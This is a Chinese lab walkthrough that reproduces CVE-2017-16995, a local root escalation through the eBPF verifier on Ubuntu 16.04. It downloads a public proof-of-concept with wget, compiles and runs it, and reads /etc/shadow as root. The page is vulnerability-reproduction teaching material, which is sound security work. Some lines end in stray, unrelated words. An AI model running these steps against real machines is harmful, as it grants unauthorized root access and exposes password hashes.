[漏洞复现] CVE-2017-16995 Ubuntu16.04漏洞复现

一、漏洞概述

Ubuntu最新版本16.04存在本地提权漏洞,该漏洞存在于Linux内核带有的eBPF bpf(2)系统调用中,当用户提供恶意BPF程序使eBPF验证器模块产生计算错误,致使任意内存读写问题。 ubuntu

***者(普通用户)能够利用该漏洞进行提权***,获取root权限,危害极大。该漏洞编号是CVE-2017-16995,在以前的一些老版本已经修复了,可是在最新的Ubuntu版本中,又出现了这个漏洞,而且Twitter爆出了漏洞利用代码……ide

目前,主要是Debian和Ubuntu版本受影响,Redhat和CentOS不受影响。spa

影响版本: 
Linux内核:Linux Kernel Version 4.14 ~ 4.4 
Ubuntu版本:16.04.01~ 16.04.04code


二、漏洞复现环境下载

Ubuntu16.04下载:http://old-releases.ubuntu.com/releases/16.04.0/ 
注:这里我下载的版本是 ubuntu-16.04.3-server-amd64.iso 
POC代码下载:http://cyseclabs.com/pub/upstream44.c 
注:为了节省你们实验时间,本实验全部环境所有打包到了如下连接=> 
https://pan.baidu.com/s/1rtrSb2R_2SLg8VRRwrYynA 密码:vowqorm


三、实验流程

① 下载Ubuntu 16.04 iso镜像:http://old-releases.ubuntu.com/releases/16.04.0/ 
下载列表里面有不少版本,考虑到虚拟机体积大小,这里不适用desktop版本,直接使用server版本。点击ubuntu-16.04.3-server-amd64.iso能够直接网页下载,若速度较慢,可用列表中的torrent文件,用迅雷等软件下载。server


② 使用VMware制做虚拟机,设置普通用户帐号密码(帐号: pinginglab 密码:pinginglab) 

blog

注:这里的VMware是MacOS下面的VMware Fushion,跟Windows下面的Vmware Workstation使用流程相似。内存




采用vmware快捷安装,设置帐号密码: 
rem


点击“继续”,便可建立虚拟机。
get


启动虚拟机,这里须要稍等片刻:


③ 使用帐号密码(pinginglab/pinginglab)登陆虚拟机,进行漏洞复现

使用 id 查看本地用户组权限:


使用cat /proc/version查看Linux内核版本 :


使用cat /etc/shadow查看帐号密码(因为是普通帐号,没有权限查看) 


使用wget  http://cyseclabs.com/pub/upstream44.c 下载POC代码 


使用sudo apt install gcc 下载并安装gcc编译器 


使用gcc对upstream44.c进行编译,给予执行权限: 
gcc -o test upstream44.c 
chmod +x test 
ll 



执行test文件,实现本地提权: 
./test 
id 
cat /etc/shadow 




从实验效果能够看到,此时用户从“pinginglab”,切换到“root”,获取到最高权限,而且能够查看本地帐号密码。 

本漏洞复现实验完成。